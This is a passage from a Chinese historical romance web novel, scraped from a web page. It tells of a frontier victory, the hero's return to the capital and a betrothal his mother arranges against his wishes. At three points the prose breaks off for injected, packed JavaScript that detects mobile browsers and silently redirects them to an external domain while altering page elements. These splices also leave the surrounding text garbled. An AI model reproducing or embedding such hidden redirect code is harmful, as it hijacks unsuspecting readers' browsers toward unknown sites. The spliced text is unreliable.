兵器碰撞,血雾弥漫,战刀砍开血肉的声音和士兵们惨叫声交织在一起,说是人间炼狱也不为过。 罗振海坐在战车上,他指挥身旁的亲卫挥动传讯旗,杜志云看到旗帜挥舞后大声喝道:“杀!” “杀!”一呼百应,士兵们气势汹汹摆开战阵,从上空往下看,魏军阵型呈现出“凹”字,这是罗振海特地设下的战术,士兵们布置出一个大网将蛮夷联军直接包围起来。 “放箭!”詹英杰大喝道,数万发利箭齐齐朝着蛮夷军射而来。 “防!”轲拉比大喊一声,蛮夷军停在原地迅速筑起铁盾,大多数箭雨都被铁盾挡下。 然而,就是这一停顿,谢卓带领的上万骑兵已经到了轲拉比眼前。 小兵对小兵,将军自然是对上将军。 谢卓双眼如鹰隼一般锐利,紧紧盯着前方的轲拉比,他一夹马腹率先发动攻击。 轲拉比见长□□来,急忙举起长刀阻挡,谢卓这一击用了十成的力,轲拉比虽然挡住了这一枪,但身形还是被震退了几步。 轲拉比瞳孔微缩,他知道,眼前这个人战斗力恐怕不在自己之下。 轲拉比并不愿直接与谢卓对上,现在不是意气用事的时候,他要做的是赢下这场胜利,随着他一声令下,蛮夷士兵们纷纷散开用钩矛刀攻击魏军骑兵的马蹄。 攻击马蹄的效果是显著的,当即就有好几名魏军骑兵被甩下马。 谢卓见状让所有骑兵把速度再次提高,他冲在最前方,像一把无坚不摧的利剑,搅的蛮夷联军仰马翻,让他们找不到下手的空隙,根本无法形成长而有力反击。 骑兵作战能力十分灵活,有了马儿的配合后骑兵的速度远超步兵。他们不但可以直接发起冲锋攻势将敌人碾碎,还可以作为灵活的弓箭手,在战场上通过走位灵活射杀敌人。 罗振海见状面露喜色,他命令亲卫继续挥动战旗,发出了全部进攻的指令。 战场上的魏军个个精神抖擞,很快就占了上风,先前一战导致魏军损失了不少的兵力,他们必须要打一场胜仗稳定军心,更别说现在援军已到,他们更加没有失败的理由。 “将军,他们的速度太快了,我们根本抵抗不了!”后侧方的副将朝着轲拉比喊道。 轲拉比难以置信,西厥国以擅骑射闻名,但眼前这支骁骑军的骑射丝毫不亚于他们,骑兵连续的冲击让蛮夷联军很被动。 他意识到不妙,当机立断让副将变阵:“摆防阵!” 号角响起,蛮夷联军开始变阵,冲在前头的先锋士兵从两侧后缩,原本在后方的士兵拿着铁盾从中间出来,最终呈环绕姿势将联军护在身后。 轲拉比确实有几把刷子,防阵一出来,骁骑军的进攻状态立马被减缓了,不过,这种状态并没有坚持太久,联军很快就被骁骑军找到漏洞撕开了一个口子。 轲拉比的想法是好的,可他并没有考虑到现实因素。 联军们的战力确实很凶悍,但他们是为资源、为利益而战,兵力也是由多个小国组成,所以从上到下很难拧成一股绳,也没有魏军那种誓死保卫疆土的决心。 战力相当的情况下,拼的就是意志力。 地面上洁白的积雪已经被践踏的不成样子了,骁骑军兵马迅疾而来,一路上还有漫天的箭雨作为掩护,箭雨倾泄而至,蛮夷联军不及防下,轲拉比身后的将士大片大片倒下。 蛮夷联军们还没有从箭雨攻击中回过神来,谢卓带领着上千骑兵已经直接冲了过来。 轲拉比目光直盯着最前面的那个金色身影,谢卓身上的金锁甲早已经被血染红,脸上的血渍让他多了一丝鬼魅的气质。 谢卓带领骁骑军左突右杀,马蹄踏过之处,联军纷纷倒地。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14558335|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>轲拉比不敢大意,他手持长刀杀戮着围在他身边的魏军,一旁的副将突然脸色大变,大喝一声:“将军!” 轲拉比意识到什么,急忙看向另一侧。 几息之间,谢卓便已到了眼前,他连杀死数十名联军战士后,举起手中的长枪直击轲拉比要害部位。 长枪带着劲风呼啸而来。 轲拉比举起长刀奋力反抗,谢卓的连番攻击让他又怒又急,长枪如闪电般划过,轲拉比一个躲闪不及被刺中。他满脸痛苦地捂住腹部,温热的鲜血正源源不断的从手指缝中涌出,这一下刺得太深,他痛到连说话都费劲。 巨痛之下,他昏死过去。 事情发生在电光火石之间,主将被挑落下马,这让奋力冲杀于围困之中的蛮夷联军们大惊失色。 战马长声嘶鸣,谢卓如同神祗般坐在马背上,手中握着的红缨长枪泛着寒光:“投降者免死!” 他身后的骁骑军声势如雷,目光愈发狂热,跟着一起喊:“投降者免死!投降者免死!” 联军的主将乌拉尔咬牙切齿,脸色立即变得难看起来,西厥国是此次联军中比较强盛的国家,乌拉尔作为一国首领便担任了联军的主将。 他虽然是主将,可主导战事的人却是轲拉比,轲拉比是他们几个国家中的实力最强的战士,可现在却被魏军一个小将军一把挑下马…… 其他的蛮夷士兵们全都不由自主的停在了原地,一张张脸变的惨白,心中涌上来一种前所未有的恐怖。 这人,太强了! 罗振海在亲卫的陪同下正观望战场,“再有片刻,联军就会支撑不住了,传令下去,一旦敌军溃败我军需全力击杀!” “是!”亲卫领命下去了。 罗振海留在原地抚须大笑,看着谢卓的身影他心中说不出的舒畅,感叹道:“这世间又多了一个少年英雄!” 失去了重要的大将,蛮夷联军根本不是士气大涨的魏军的对手。 魏军立即结阵向蛮夷联军进攻,短短几息之间,蛮夷联军土崩瓦解。部分联军士兵在短暂的权衡利弊后,选择将武器丢下慌张地往外圈逃去,打胜仗抢资源已经不可能了,这个时候还是保命要紧! 战场一片惨烈,每个人都自顾不暇,联军大势已去,再无回天之力。 鄢陵关一战,魏军大获全胜。 接下来骁骑军愈战愈勇,连战连捷,成功收复了几个边境失地,把联军打出了大魏境外。 谢卓擦了擦脸上的汗水。 打了胜仗当然要庆祝,罗振海大手一挥说要犒赏三军,营地之中点燃篝火,杀猪宰羊,为众位将士举行庆功宴。 将士们情绪激昂,先前吃败仗的郁气也一扫而光,打了胜仗能不开心吗?等回到京城,朝廷还要对每个将士论功行赏呢! 蛮夷联军被一击退,镇子上的百姓陆陆续续都回到了安丰镇,他们自发的走到街上欢呼庆祝,安丰镇渐渐恢复了往日的热闹,再也不见肃杀之气。 “经此一役,北疆边关此后至少要安稳数十年了。”罗振海肯定的说道。 边关大捷的奏折加急送往京城,承德皇帝接到捷报后大喜。 93. 定下婚约 魏军大破蛮夷联军,收复失地,立下赫赫战功。 蛮夷联军此战损失兵马大半,实力大损,经此一役恐怕再无余力侵扰大魏,至少五年内再也无力侵犯。 面对如此大胜,承德皇帝连同一众大臣已经在宫门口迎接。 承德皇帝向前亲自将罗振海和谢卓等人扶起,他的脸上满是欣喜和高兴:“此次战役多亏众位爱卿运筹帷幄,击退蛮夷联军杨我大魏国威,实在让朕心中倍感宽慰。” “为皇上分忧,是微臣之幸。” 此次大战,凡是有功之臣都有相应的封赏。 主将罗振海被封为一品大将军,与护国将军同级,谢卓也被正式封为骠骑将军,杜志云功过相抵没有晋升,不过皇上赏赐了他不少的财宝,其他表现出色的士兵们也按照功绩升了百户、伍长。 按理来说,以谢卓的资历还不足以达到骠骑将军这个等级,承德皇帝之所以这样册封,也是对端亲王府的一种安抚。 皇宫内,承德皇帝龙颜大悦,吩咐内侍大设宴会,为所有将士接风洗尘。 谢卓从宫中领了赏赐回家,连日的赶路让他眼中一片血丝,不过这也不损他谪仙一般的容貌。 世子要回来了。 整个王府里灯火通明。 丫鬟仆从们步履匆匆忙活着,王府里的气氛一下子变得喜庆。 谢卓一进王府,谢怀薇就跑了过来,她拉住谢卓摸摸胳膊看看腿,上上下下打量着,确认他有没有缺胳膊少腿。 谢卓哭笑不得。 左慕蕊也早就在厅堂里等着了,谢卓在战场上生死未卜的消息传回来可把她心疼坏了,她的目光在谢卓脸上转了一圈,眼眶不由得渐渐湿润,越心疼眼泪就掉得越多。 “是儿子不孝,让母妃担心了。” 谢弛看不下去了:“好了好了!都多大的人了还跟个孩子似的哭。” 左慕蕊闻言有些恼怒地瞪了他一眼,随即也从悲伤的情绪中走了出来,她和谢怀薇两人有太多的问题,谢卓耐着性子一一解答,好不容易摆脱母亲和妹妹,谢卓去了祖父谢和山的书房。 “可有受伤?” “轻伤,不碍事。”简单的跟祖父汇报了下在安丰镇发生的事,谢卓回到自己的房间,盛安早就在这里等着了。 盛安把傅知乔身边发生的事情,事无巨细全部都跟谢卓讲了一遍。 谢卓听到傅知乔为了帮他澄清谣言用尽了一切办法时,心里充斥着一股别样的,说不清道不明的情绪。 是一种他从未体验过的感觉。 在与傅知乔相处的过程中,他一直都以为自己才是强势的一方,他能给她更高的地位,更好的生活……但是从现在的情况来看,好像不是这样的。 谢卓第一次清晰地认知到,傅知乔从来不是那个站在他身后需要依靠的人,而是能与他并肩一起战斗的人。 在他守护她的时候,她也用自己的力量守护着他。 原来被人保护被人牵挂着的感觉是这样的。 一颗心像是被泡在了蜜里,谢卓再也按捺不住思念之情,趁着夜色一路飞奔到了傅知乔门外。 刚出房门的银杏看到谢卓后吓了一跳,急忙要给他行礼。 谢卓比了个安静的手势,进了屋子里。 银杏在门口欲言又止,姑娘已经睡着了,世子这时候进去不太好吧! 但她又阻拦不住,只好默默地跟进房间,站到屏风后,看见谢卓没有什么奇怪的举动才放下心来。 换下了金锁甲胄,褪去了在战场上的锋芒,谢卓身上的肃杀之气褪去大半,看着傅知乔恬静的睡颜,他笑的一脸宠溺。 不施粉黛、不带珠钗,仿佛不染一丝尘垢,平日里谢卓也见过傅知乔素面朝天的模样,但此刻安静睡着的傅知乔依然给了他惊艳之感。 傅知乔睡的很安稳,一呼一吸间仿佛带着几分香甜之气,令谢卓心神有些荡漾。 突然有种想揭开被子的冲动。 咳咳,谢卓目光移到傅知乔的嘴唇上,他不由自主想起了上次两人分别时的场景。 那是他们第一次接吻,谢卓回去后兴奋地一夜没睡。 后来在寒冷的北疆,他无数次想起那一刻,双唇相接的的感觉始终出现在脑海里,温润的气息,软软的触感……这样一想他的耳朵又红了起来。 夜晚的房间烛光昏暗,趁着黑夜的掩盖谢卓也不再隐藏自己的心思,他低下头慢慢靠近,在她唇上轻轻印下一吻。 银杏在屏风后瞠目结舌,世子怎么能这么对待她家小姐! 银杏有点焦急,她不知道自己到底要不要去阻止,衣角的布料已经被她揉皱了,好在接下来的谢卓没有再做别的动作,她渐渐放下心来。 谢卓待了大概有半刻钟,他走之前还叮嘱银杏要好好照顾傅知乔,不要告诉傅知乔自己来过。 银杏点点头,她本来是想把今天晚上的事告诉傅知乔的,不过,当她看到谢卓微红的脸颊后选择了闭嘴。 原来世子爷也在害羞! 傅知乔睡到迷迷糊糊,感觉有人在摸自己的脸,可她太困了眼睛实在睁不开。之前担心谢卓的安危,她吃不好睡不好,直到魏军获胜的消息传回来才安心,今晚是她这段时间睡得最安稳的一次。 第二天早上,傅知乔刚醒。 银杏抱着雪狐大衣献宝似地放在她眼前:“姑娘,你看,世子爷上战场都不忘给你带礼物呢!” “他来过了?” “来的是世子爷身边的护卫。” 雪狐大衣是王骞信一大早送过来的,此时他还在傅家门口等着接傅知乔呢。 关于这件雪狐大衣的介绍银杏也是从王骞信那里听过来的:“据说这种雪狐只有北疆一带才有,它们只生活在冰雪覆盖的天山附近,非常难捕捉,因此每年只产一到两件,整个京城能穿得上的贵女也没几个……” 北疆寒冷,当地以兽皮御寒是件极为普遍的事,家家户户都会打猎制作裘衣。 傅知乔打量着这件雪狐大衣,通体雪白没有一丝杂毛,毛色密实光润,这种品质的雪狐大衣一看就不是凡品,是可遇不可求的。 说着,银杏抖开大衣披在傅知乔肩上,夸赞道:“这件雪狐大衣简直就是为姑娘量身定做的。” 傅知乔感受这大衣的柔软触感,嗔道:“就你嘴甜!” “姑娘,我说的可都是实话。”银杏乐得呵呵地直笑:“雪狐大衣配上姑娘冷清淡雅的气质,有一种仙女下凡的感觉。” 狐裘的保暖性很好,不会儿傅知乔就感觉到了热,她吩咐银杏把衣服收起来。 傅知乔底子好,简单化了个淡妆就足够漂亮,唇上只涂了一层薄薄的红色口脂就已经艳光逼人了。她穿着青玉色广袖云锦襦裙,腰带一系顿显袅娜的身段,身姿款款令人痴迷。 “姑娘好像又长开了些。”银杏围着她转了一圈,确认没有任何不妥之处,继续夸赞:“姑娘是我见过最美的女子。” “好了,少拍马屁!”傅知乔笑着走出了内室,坐上马车赶往谢卓在城外的别苑。 文渊别苑是谢卓的私产,虽然离城里较远,但依山傍水自成一景,庄子里也修很气派,处处雅致。 “傅姑娘,我们到了。”王骞信放下脚凳。 走进别苑里,下人们见到傅知乔都不敢抬头,纷纷弯腰行礼,他们在别苑里伺候了这么些年,还是第一次看到有女子进来。 一进门,她的目光就与谢卓对上了。 两三个月没见,谢卓变化可谓是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14629234|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不小,本就冷清的气质更添了几分冷峻之感,眉眼依旧俊朗,但皮肤却是粗糙了很多。也是,再天姿国色也禁不住风吹日晒,傅知乔有办法帮他养回来,而且看他行动自如的样子,估摸他应该也没受什么大伤。 傅知乔松了一口气,没看到人还好,看到人后她才发觉自己是如此的想念他。 不待傅知乔走近,谢卓迈出一大步,长臂一揽,亲呢的将她揽进怀中。 傅知乔踮脚把头埋在谢卓颈边,闻着他衣服上的松香味,听着他沉稳的心跳,一颗悬着的心终于落到了实处。 “想我吗?”薄唇贴在她耳边问道。 傅知乔眨了眨眼睛,笑了起来:“嗯,很想你。” 傅知乔的直接让谢卓有点不好意思,他嘴角噙着笑,眸中闪烁着笑意。 搂搂小腰,他一只手都能圈的过来,捏捏手腕,细细的只有他两指宽,摸摸小手,纤纤素手指如葱根,两人久未见面,谢卓现在巴不得时时刻刻都都跟她黏在一块。 一举一动,都极尽的温柔。 谢卓柔声的说起了在战场的事情,还说她做的五味粉在野外帮了大忙,要不是有五味粉,他们都要在野外饿死了。 傅知乔勾起嘴角,“能帮到你就好。” 她眼神亮晶晶的,连声音都愈发甜腻起来,“你平安归来,我真的很开心!” 谢卓闻言唇角的笑意加深,看到她灿烂的笑容,此刻心里就像被一根羽毛轻轻的挠着,痒痒的麻麻的。 心跳加快,呼吸加重,谢卓额头出了一层细密的汗。 傅知乔有些担心摸摸他的额头,问:“你怎么出了这么多汗,很热吗?” “是,是有点热。”谢卓呼吸发沉,眼神晦涩不明,房间内的气氛突然变的微妙起来。 * 魏军大胜归来,京城的每一条街道都十分热闹,百姓们争相传着大捷的消息。 郭素兰也开心不已,她赌对了! 端亲王没有谋逆之心,世子也没有死在战场上,反而是受到封赏,如今在军中担任重要职务。 谢卓打了胜战归来,当下正是风头无限的时候,郭素兰立马递了帖子给左慕蕊,说自己新得了一罐雨前龙井,邀请她喝茶。 郭素兰表面上是邀请左慕蕊喝茶,实际上是想要她兑现承诺,让谢卓迎娶自己的女儿进门。 礼部尚书,于府。 郭素兰隐晦的提起定亲的事,她叹了一声长气,“慕蕊,不是我挟恩图报,我是实在是没有办法了。” 左慕蕊端起茶杯闻了闻然后又放下来,她当然知道郭素兰醉翁之意不在酒,问:“同我说说到底是怎么一回事?” 郭素兰低头搅手帕,“还有两个月户部就要将写有秀女的花名册都呈交给皇上。” 于雅丹是尚书府的嫡女,下月就要及笄,如果现在还不赶快将亲事定下来,下半年就该入宫参加选秀了。 朝廷规定,四品及四品以上官员,家中有及笄女子都需进皇宫选秀。 对于有家族底蕴的世家来说,进宫生下皇子确实是不错的选择,但是于昊英并没有强大的背景,况且当今圣上年纪又大了,与其让女儿进宫当妃子,倒不如让女儿进王府当王妃。 只要于雅丹定了亲,就可以不进宫参加选秀了。 见郭素兰面容还有些慌乱,左慕蕊只好先安慰道:“你别着急,我回家跟王爷商议好就上门提亲。” “慕蕊,谢谢你!”郭素兰擦掉眼角的泪水:“雅丹年岁小,许多事情都还要人提点,往后只怕要你多费心了。” “你说这些就见外了,雅丹也是我看着长大的孩子。”左慕蕊这话倒是很合郭素兰的心意,两人相视一笑。 门廊处传来脚步声,是于雅丹过来了。 94. 喜从何来 于雅丹知道今天要见王妃所以特意打扮过,她相貌清丽秀雅,仪态大方,三千青丝绾成百合髻,身穿牡丹烟水百花裙,腰间系着同色系的绸带,玲珑有致的身段立显无疑。 她朝着左慕蕊盈盈一拜,嘴角流露出淡淡的微笑:“见过王妃。” 左慕蕊坐在上位上,微微颔首,将手腕上的翡翠镯取下戴到于雅丹手上。 于雅丹有些无措:“王妃娘娘,此物太贵重了,小女不能收。” 郭素兰也推拒:“慕蕊,这个镯子太贵重了,雅丹她担不起,你赶紧收回去。” “什么贵重不贵重,这个镯子就当是我给你的见面礼。” 于雅丹脸颊泛红害羞起来,向郭素兰投去询问的眼神,在郭素兰的示意下她最终收下了手镯,她微微垂眸故作淡然,但上扬的嘴角暴露了她心中的喜悦。 于雅丹倾心已久谢卓,她理想中的夫君就是谢卓那般模样,如今心愿成真的时刻,发自内心的的开心是无论如何也是掩饰不住的。 郭素兰更是笑的合不拢嘴,她能不开心吗?女儿很快就要嫁到王府了,以后她就是王府未来的女主人了! 送走左慕蕊。 “雅丹啊,世子是王府的嫡长子,将来世子袭了王位你就是当家主母。到了王府以后你要好好表现,孝顺公婆,谨言慎行,切不可由着自己的性子来,只要得了王妃的喜欢你就位置稳定了,知道啦吗?”郭素兰苦口婆心的教育她。 “知道了,娘。” 左慕蕊也非常满意于雅丹这个儿媳妇,这难道不比什么商家女好多了?在她看来,像于雅丹这样才情皆备、家世清正的女子将来一定会成为卓儿的贤内助。 她回到王府跟谢弛商议了一番,两个人都觉得这门亲事没什么问题,接着左慕蕊又去请示了老王爷。 “礼部尚书家?” 左慕蕊小心回答:“是的。” 怎么好端端的突然要去尚书府提亲? 左慕蕊看出谢和山的疑问,她把王府在危难时期,尚书府不但没有疏远还帮忙打探消息的事情跟他复述了一遍。 谢和山沉吟片刻:“此事怀砚可知晓?” “怀砚与那于家姑娘自小就相识,我们两家都是知根知底的。” 从前不久的谋反传言中可以看出皇帝对王府是有所忌惮的,眼下谢卓风头正劲,与其让皇帝赐婚一个贵女进来,还不如娶一个相知的人家。 从谢和山那里得到准许的答复后左慕蕊立即请了媒人去于家提亲,根本就没给谢卓拒绝的余地。 等谢卓知道后,这件事情已经板上钉钉了。 章嬷嬷禀报:“王妃,世子回来了。” 左慕蕊正在盘算怎么能让谢卓同意这亲事,看到他进来后心里面不免有些心虚:“尚书府和咱们王府勉强也算门当户对,你们又年纪相仿,这是一桩多好的亲事呀!” 谢卓不敢置信地看着左慕蕊,声音中透出几丝焦急与不满,“这件事情没有与我商量,做不得数!” 左慕蕊无可奈何,就把尚书府在王府危难时期所做的事讲给他听了,在王府饱受质疑时,礼部尚书是唯一一个的没有疏远反而帮忙打探消息的人。 谢卓低头不语,左慕蕊继续循循善诱,“滴水之恩当涌泉相报……” 距离下一届选秀仅有半年之期,不出意外于雅丹是要入宫的,可当今圣上的年纪都可以做她的爹了,于昊英和郭素兰不愿将女儿嫁进宫,就想在选秀之前把于雅丹的亲事定下来。 当然了,于昊英不愿送女儿进宫的意图不能做的太明显,否则被圣上看穿了他头上的乌纱帽都要不保,所以要提前做好打算。 “这么短的时日里,要找年轻有为、家世相当的男子也不容易……” 谢卓听后简直不知道该说什么好,“所以您为了报答恩情就把自己儿子给卖了?” “你这孩子,什么卖不卖的,说的这样难听,这门亲事你父王和祖父都同意了的。” 婚姻是父母之命媒妁之言,左慕蕊之前好几次提议成亲都被谢卓给否了。 看着脸色铁青的谢卓,左慕蕊觉得自己很没面子,她心里的那股劲也被激发出来了:我是你娘,你的婚事我还就管定了! “你呀,什么事都不用管,母妃已经遣媒人去提亲了,知道你还有军务要忙,母妃会为你打理好一切的。” 谢卓闻言脸色越发地难看,他双拳紧握,眸中里尽是恼怒,尽管心中有气但也不好对着母亲发作,只能出门去阻止媒人。 左慕蕊知道他的心思,“来不及了,媒人早就到了尚书府了,你若执意要去退亲岂不是置为母妃于不义吗?把我们两家的面子置于何地?” 左慕蕊故意把谢卓叫过来讲话,就是为了拖延时间。 话都说到这份上,于情于理他都不能拒绝,此时去退亲更是会涉及到两家的体面问题,谢卓顿感头痛,匆匆往外走去。 路上他碰到去尚书府说亲的媒人,说来也巧,那媒人正好回来跟左慕蕊汇报进度,她看到谢卓后脸上立马笑的跟朵花似的:“恭喜世子,贺喜世子!” 谢卓看着满脸喜色的媒婆,气更是不打一处来:“喜从何来?”说完他一甩袖子走了。 媒婆惯会察言观色,她看着谢卓离去的背影不知所措。 怎么办?这门亲事好像不是双方自愿的。 * 媒人已经提亲完回来复命了,与尚书府结亲这件事已经没有了回转的余地。 谢卓匆匆赶往傅知乔的住处,一心想着怎么跟傅知乔解释这件事,与尚书府结亲不是他的意思,纯属母妃的自作主张?还是说要她不要放在心上,就当没这回事? 怎么说都不对,可又不能不说。 赶到傅府门外,傅知乔就在离他仅一墙之隔的院子里,谢卓却有点不敢进去了。 他心里十分明白,傅知乔知道他定亲后一定会选择离开他,当初两人就说好了的,在他没有定亲之前傅知乔不会离开,一旦他定了亲她就会……谢卓摇摇头,不愿再回想。 谢卓在冷风中站了一会,慢慢冷静了下来。 他要去争取,他不能就这么放弃。 还没等谢卓想出应对之法,仅在半日没,端亲王府要和礼部尚书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14725707|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家结亲的消息就传开了。 消息是郭素兰故意找人散播出去的,不仅如此,她还特意嘱咐下人们要在人多的地方谈论此事,所以消息才流传的这么快。 “姑娘,姑娘,世子和尚书家小姐定亲了,外头都在都说王府已经请媒人上门交换婚书了!” 连婚书都换了的话,那就不再是胡乱说说那般简单了。 傅知乔手里捏着的帕子当即掉落在地上,她甚至怀疑自己的耳朵是不是出了问题,问:“你说什么?谁定亲了?” 还能是谁,银杏咽了咽口水:“是世子。” 傅知乔一脸迷茫,感到非常不真实。 尽管她之前就做好了要与谢卓分手的心里准备,但此刻还是被冲击到了,毕竟,两天前她和谢卓还是你侬我侬的,谁知他会被突然定亲。 谢卓刚打了胜仗回京,风头正劲,有太多大臣递帖子上门拜见,他忙于应酬,自从上次两人在文渊别苑一见之后,至今已有三天没有见过了。 银杏愤愤不平:“真没想到世子竟是这样的人,一边缠着姑娘你,另一边跑去跟别人定亲。” 傅知乔表面上波澜不惊,实际上双手的指关节已经握到发白了。 谢卓定亲了,定亲的对象不是她! 傅知乔挥挥手让银杏出去,银杏不敢打扰她但又放心不下,就在房门口守着,竖起耳朵听房间里的动静,生怕她出什么意外。 不知道过了过久,银杏推开门进了房间,饶过屏风走到她身边,恭声道:“姑娘,世子来了。” 傅知乔靠在贵妃椅上假寐,听到银杏的话后睁开了眼睛。 谢卓走了进来,两人静默无言。 银杏知道他们有事要谈,行礼后便退了下去。 傅知乔率先打破沉默:“今天真是个双喜临门的好日子,对了,还没有恭喜你升官呢!” 升官娶妻,可不是双喜临门么。 傅知乔神色如往常一样,这让谢卓抱有一丝侥幸心理,或许她还不知道他已经定亲的事。 谢卓欲言又止地看着她,好像有什么话想说的样子。 傅知乔察觉到了他的视线,抬眸瞥了眼,问:“你有话要跟我说吗?” 谢卓微微犹豫了一下,忍不住先避开了她的目光。 不知道该如何开口,谢卓做了半天思想斗争最后他还是决定什么都不说。 这门亲事他一定会想办法退掉的,他不想这些乱七八糟的消息污了她的耳朵,甚至还打算带傅知乔去城外的别苑里住一段时间。 “没,没有。”谢卓捧着茶盏喝了一口茶,他轻咳了声,绞尽脑汁把话题往别的方向带,一会说说自己在北疆的趣事,一会问问她太白楼的生意如何了,什么时候出新酒。 傅知乔除了偶尔的答话并没有主动开过口,从始至终她都是安安静静的。 两人单独相处了大约有半刻钟,临走时,谢卓俯下身,想跟平常一样吻一下她的唇角再走,可还未等他靠近,傅知乔就把头扭到了一边。 她躲开了? 意识到傅知乔的抗拒后,谢卓整个人都僵掉了。 95. 名分而已 傅知乔也意识到自己的反应有点大了,不自然的转了转眼珠:“外头风大,你早些回去吧!” 她可以演戏欺骗自己,欺骗所有人,但身体上的下意识骗不了人,她现在不想见到谢卓,也不想跟他有任何肢体接触。 这是下逐客令了? 谢卓眼底闪过几分晦暗,小心翼翼询问:“你都知道了?” “嗯。”傅知乔语气淡淡的。 谢卓一看她这状态,心道不好:“阿乔,我对她没有任何感情,你是知道的,我不喜欢别人,我只喜欢你!” 他用力握住傅知乔的手:“尚书府于王府有恩,这门亲事是母妃一手促成的,我并不知情。” 看到有些语无伦次的谢卓,傅知乔安抚他:“我知道,我知道。” 知道又能如何?反正结果已经摆在眼前了,谢卓定亲的背后到底有哪些弯弯绕绕她也不想去了解。 “我对别人的未婚夫不感兴趣。” 谢卓脸色霎时就白了。 傅知乔垂下眼眸:“事已至此,我们该遵守约定了。” 当初两人做过约定,他们在一起的前提是男未婚女未嫁,现在这个条件被打破了,谢卓不久后就要定亲成婚,而她……也不会成为谁的小妾,就算她对谢卓很心动,她也绝不委屈自己去当妾,跟别人共享一个男人。 所以,两人再无在一起的可能。 “不,阿乔,你不能离开我!”谢卓想也不想就拒绝了分开的提议。 傅知乔讥讽的扯了扯唇角,声音里不带着任何情绪:“那你想要我怎么做?” “阿乔,这件事情你先别管,我会处理好的,我跟于姑娘只是定亲而已,等宫中的选秀过去我就会跟她解除婚约。”傅知乔冷淡的态度让谢卓感到心慌。 他迫切的想要留住她。 只要把人留在身边,他有的是时间慢慢攻克她。 傅知乔侧眸看了他一眼,谢卓的眼神无比真挚,倒不像是在说假话。 可解除婚约并不是件动动嘴皮子就能做成的事,更何况他的婚书都已经送到女方手里了。 两家一旦交换了婚书,再想退亲就很难了。 退亲需要男女双方和媒人在场,三方商议好退亲协议,再由媒人写一封解除婚约的婚书,一式两份,男女双方各自按手印签名,还要把原来的婚书撕毁才算完成。 退亲对双方的名声都有影响,但更严重的是女方,被退亲对女方的伤害是巨大的,是奇耻大辱!被退亲后女方会遭受巨大的舆论压力,不仅娘家会跟着丢脸,还可能会导致她下半生都无法嫁人。 人家才是名正言顺的,她才是那个多余的人。 “谢卓,你别这样。”傅知乔笑容不变,语气却轻快了许多:“我知道这件事不怪你,也不怪任何人,怪只怪我们有缘无分。” 她能责怪谁呢?责怪左慕蕊吗?作为母亲,她想要为自己儿子找一个门当户对的妻子又有什么错? 她无法责怪任何人。 傅知乔几乎不可见地勾起一抹自嘲的笑意,谢卓身为王府世子,娶一个门当户对的妻子是理所当然的,与她在一起才是真的叫他为难吧! 她想要挣脱谢卓的禁锢,可谢卓抓的很紧,她挣脱不开,没办法,她只能将谢卓的手指一根根掰开。 谢卓的力气很大,但也收了力道害怕伤害到她。 傅知乔掰开了谢卓的手掌,“谢世子,你都要和别的女子成亲了,再纠缠下去就没有意思了!”。 谢卓眸子的温度瞬间冷了下来,上前一步将人重新带入自己怀中,他的身上带着怒气,拦人的动作很粗鲁。 傅知乔的双臂被捏的生疼,吃痛惊呼出声,谢卓的力气很大她挣脱不开,干脆放弃了挣扎,任由他抱着。 “姑娘!”门口的银杏听到她的痛呼声后面露担忧之色,急忙推门进来查看。 “滚出去!”谢卓厉喝道,眸子里翻涌着嗜血的煞气。 银杏被他的气势吓倒,重重的打了一个寒颤,呆愣在原地不知所措。 傅知乔:“我没事,你先下去,守住院门不要惊扰到夫人。” 余柔岚就在隔壁的院子里,傅知乔并不想把事情闹大惊扰到她。 “是。”银杏回过神来,眼睛都红了,确认好傅知乔没事后便不甘不愿的退了出去,走到走廊拐角处,她把院子里下人都叫去看守院门。 一切都安静下来,房间里只剩下他们两人。 “松手,你弄痛我了!” 谢卓闻言慢慢松开了她的手腕,当即改为搂着她的腰,傅知乔又挣扎了两下没有挣脱,她叹了口气,“你这是何必呢?你要违背我们当初的约定吗?” 谢卓一言不发,把傅知乔严严实实的抱在怀中,贪婪地呼吸着她身上的气息,动作霸道又固执,好像这样就能把她留在身边一样。 好半晌过去了,他依旧没有要松手的意思。 傅知乔的声音也冷下来:“谢卓,你说话!” 见傅知乔要离开的态度如此坚定,一种从未体验过的酸涩感从心底冒出。 “阿乔,你不要离开我好不好?”谢卓心里涌起即将被人遗弃的慌乱与无力感。 傅知乔简直要被气笑了,怎么搞的好像她才是那个跟别人定亲的人一样,“先离开的人是你,不是我。” “我喜欢你,你也喜欢我,为什么我们不能在一起?”谢卓眼中满是不甘,周身都弥漫着阴沉的气息。 “谢卓,清醒一点好不好,你现在是有婚约的人。”傅知乔生气的推开他。 